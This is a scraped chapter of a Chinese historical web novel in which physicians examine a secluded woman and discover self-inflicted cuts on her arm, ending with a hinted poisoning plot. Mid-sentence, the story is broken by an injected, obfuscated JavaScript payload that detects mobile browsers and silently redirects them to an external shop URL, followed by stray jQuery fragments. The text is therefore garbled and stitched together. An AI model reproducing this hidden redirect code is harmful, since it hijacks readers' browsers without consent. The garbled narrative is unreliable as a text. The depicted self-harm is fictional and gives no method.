默认冷灰
24号文字
方正启体

7. 于礼不合

作者:忘忧酚本书字数:K更新时间:
    “阿珩,咱们昨日不是为着那事愁眉不展,我回去琢磨了一宿,终于想出了一个绝妙的主意。”


    裴书珩听着沈砚之这话,微微挑眉,一时不知他说的是哪件事。


    最近几日,各种各样的麻烦事层出不穷,如何与小皇帝奏对,又如何应付上蹿下跳的宦官,都是头疼事。


    “阿珩,你不是不好意思要那小娘子的熏香吗?我索性想着,不若让我去给那小娘子问诊吧?”


    裴书珩听着沈砚之这不着边际的话语,额角突突地跳了两下。


    只听沈砚之还自信满满地继续道:“你说我沈砚之,梵医楼首徒,御前供奉御医,天资卓绝,还面若冠玉,擅讨小娘子欢心,又深得你裴寺卿的信任,不正是去给小娘子看诊的不二人选吗?”


    裴书珩深深吸了口气,遏制住一脚将沈砚之踹出书房的冲动,嘲讽道:“任你天资卓绝貌若潘安,人家只要女医。”


    “我可以男扮女装嘛,我可没那么大架子……”


    裴书珩懒得听沈砚之东拉西扯,索性起身向外走去:“青沐请的女医要到了,你若是想扮,大可现在去换身衣裳。”


    “诶诶,阿珩,我开玩笑的,我就知道你最好了。”沈砚之听见这话,迅速加紧步子,紧紧缀在裴书珩身后。


    转至静室门前,就瞧见个身着月白交领襦裙的女子,正低眉顺目的立在静室门前,任由宋筝为她搜身


    “呦,竟是洛医女。”沉默了一路的沈砚之突然出声。


    裴书珩微微挑眉,撇了一眼沈砚之,“还是沈大太医的旧识?”


    “什么旧识,我可高攀不起,洛医女可是听风阁的医首。早年凭着一手起死回生的针灸之术在江湖上小有名气,后来听闻是转而研究女科顽疾,才被听风阁收编了。”


    裴书珩感到肩膀一沉,是沈砚之拍了拍他的肩膀,一边拍还一边笑嘻嘻地道,“只是没想到小青沐还有这般人脉,竟连洛医首都请的来。”


    “大属下不敢居功,这女医是宋司狱找来的,说是宋司狱旧识,可信。”青沐听着这话,忙对沈砚之拱手。


    裴书珩听着二人对话,心里却是另有思量。


    他倒是知道听风阁。


    听风阁是一家医馆,还是一家名满天下的医馆。


    而要说起这名满天下的原因,还要从这医馆奇怪的规矩说起。


    听风阁只接诊女子与孩童,平日里开门坐堂,不论贫富贵贱,皆一视同仁。凡来问诊者,皆需排队取号。


    先前总有人仗着强权或是力量破坏规矩,对那些破坏规矩的人,女医们也是好好诊治,只是待痊愈后,便会厄运缠身,直到向听风阁捐助足额金钱,厄运方解。


    由是种种,无一例外。


    渐渐地,便没人敢坏这规矩了。


    毕竟想要插队或是延请医女上门,还是有别的路子可走的。


    或是家财万贯一掷千金,又或是与听风阁某位医首有人情债,受到医首垂青,方可得行。


    至于怎么得到医首垂青,实则依旧全凭那几位医首说了算。


    再加上听风阁治病之术实在精湛,又念着平民百姓,近年来可谓声名鹊起,医首的地位也水涨船高。


    没想到,这位看着文文弱弱的洛医女,竟是听风阁的一位医首。


    听着宋筝检查完成的禀报,裴书珩从思绪里回神,示意宋筝领着一行人向静室内而去。


    不想走至门口时,洛书瑶却忽地停下脚步,有些疑惑道:“宋司狱,听风阁只接诊女子与孩童,今日要诊的,可确定是女眷?”


    得到宋筝的肯定后,又颇为犹疑地回头看了一眼紧随其后的裴书珩一行:“那这样,是否于礼不合。”


    “医女放心,内室已设纱帘。大人也是太过担心徐娘子,才带着沈太医相助。榻前有纱帘相隔,医女只管照常看诊就好。”


    “原是如此,大人与徐娘子当真是伉俪情深。”洛书瑶一副恍然的样子,冲着裴书珩微微屈膝,“大人莫怪,实是听风阁规矩森严,不敢有违。”


    裴书珩轻轻颔首,没有否认洛书瑶的说法,只是心中隐隐泛起几分诡异。


    不知为何,听着这女医的问答,竟隐约感到有些熟悉。


    众人步入静室,半垂的素纱帘隔绝了墙边的软塌,只剩纱帘后女子的身形若隐若现。


    榻侧有一张矮桌,穿过纱帘露出的部分摆着几张绢帕,专供诊脉之用。


    听着有人来,纱帘内的女子支撑着想要起身,却又体力不支跌回床榻。


    “宋司狱?”桑榆有些犹疑的声音传来,约莫是听了听脚步声,语气中又带了几分欣喜道,“大人?”。


    “徐娘子安心,寺卿大人已请来洛医女与沈太医来为娘子看诊,请娘子伸手。”


    宋筝见着裴书珩不语,遂快步上前,引着桑榆将手从帘子中伸出,搁在矮几之上,又取绢帕轻轻覆在桑榆的腕上,方垂首退至一旁。


    “洛医女,请吧。”


    “大人……”似是听见裴书珩出言,纱帘后又传来委屈的呼唤,却还是不曾得到回应。


    洛书瑶只当自己什么都未听到,只管上前诊脉,只是诊得越久,眉头蹙得越紧:“娘子这是做了什么,为何体内气力虚乏至此,竟是早衰之相。”


    “我……”纱帘后有低低的啜泣声传来,“我莫非已是无药可救?”


    “小娘子莫慌,下官听闻小娘子曾有肤悸之症,下官多年前凑巧见过此症,”沈砚之一摇折扇,款款上前,将手轻轻搭在脉上,边诊边点头道,“此症最终便是如此情状,只需静养便可恢复,娘子可放心。”


    沈砚之潇洒起身,冲着洛书瑶风度翩翩地点了点头:“医女于女科顽疾钻研甚深,许是对此等疑难之症不甚了解。”


    “还请大人赐教。”洛书瑶起身,对着沈砚之福了一礼,温温道。


    沈砚之一见此等情状,瞬间来了兴致,旋即收起折扇,冲着洛书瑶示意道:“洛医女请细感尺脉,尺脉沉细,然节律未乱,未现败相,生机犹存,这便是肤悸症第三阶段,第一阶段痛苦自伤,第二阶段渴求,第三阶段……”


    可沈砚之话音未落,却见洛书瑶猛地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483638|201891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起身,动作之大,险些带倒矮案。


    随着她的起身,那方娟帕缓缓飘落在地,露出桑榆胳膊上微微卷起的衣袖。


    而那白皙的肌肤上,却爬满了纵横交错,深浅不一的血痕,旁边还有凝着的暗红干涸的血迹。


    一向温文尔雅的洛书瑶忽而迸发出了些愤怒的情志:“为何女眷外伤严重至此,却无人告知医者真实情状?若是伤口不清创、不敷药,纵使运气极好逃过溃脓发热,将来也是疤痕交错,诸位大人难道就一无所知,还……”


    话至一半,声音却蓦地顿住,不上不下卡在中央。


    似是才想起面前几人皆是位高权重的大人,洛书瑶咬了咬唇,没再说下去,只是眼里多了几分泪花:“是小医失仪,出言无状,冒犯诸位大人,求大人们恕罪。”


    随即屈膝深深一礼:“也求大人们允准,让小医先行清创。创面不治,恐热毒内侵,高热不退,怕是危及性命。小医知大人们先前有诸多不便,小医愿意代劳。”


    话音刚落,整个静室瞬间变得落针可闻。


    裴书珩看着桑榆手腕上纵横的伤口,神色有些晦暗,先前桑榆悲怆的声音似有回响在他的耳边:“大人,大人何至于此啊”


    闪烁着泪光的杏眼,与面前手腕上层层交叠的血痕不断重合。


    “大人本是日理万机,尚且不忘为杳杳寻医问药,杳杳已是感激不尽。是杳杳顽疾发作,难以自抑,才将自己折腾成这番模样。”桑榆带着哭腔的解释声幽幽地打破了一室寂静。


    “承蒙诸位不弃,能得医治已是万幸,未曾想还连累医女失礼,是杳杳对医女不住。医女如此为杳杳,杳杳亦是感激又惶恐,杳杳定全力配合医治,往后也不再这般任性,还请医女莫要介怀。”


    裴书珩听着桑榆这一番连消带打的话,深深吸了口气,从纱帘后收回目光,转向俯身不起的洛书瑶,声音有些艰涩地颔首道:“是本官的疏忽,有劳医女了。”


    “宋司狱留下相助。”言罢,便转身头也不回地离开了。


    室内霎时只剩三人,静得近乎凝滞,只剩下桑榆轻轻的啜泣声。


    洛书瑶缓缓起身,冲着宋筝勉强笑了一下:“有劳宋司狱,可否随我一道取些清水来?我知晓大理寺规矩森严,断不会与司狱为难的。”


    只见宋筝脸上满含愧色,连连摆手应道:“是我照料不周,洛医女切莫见怪,我自去打水就好,劳烦医女先为徐娘子看诊。”


    在榻上窝了整日的桑榆终于见着纱帘被轻轻掀开,她看着宋筝离去的背影,有些得意地抬了抬下巴,冲着洛书瑶挑眉。


    谁料一抬头,正对上洛书瑶红红的眼睛,眼底还满含着心疼与不解,还有几分未散尽的愤懑。


    桑榆失笑,勉力抬手拍了拍洛书瑶的脑袋,摇了摇头。


    却只见洛书瑶神色沉冷,气势汹汹打开药箱,从里面掏出一只莹白小巧的瓷瓶,猛地拍在案上:“徐娘子这伤可得好好调养。”


    只是她口中温声如常,指尖却在木盘上轻轻写着:


    无色无味,把他们都……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)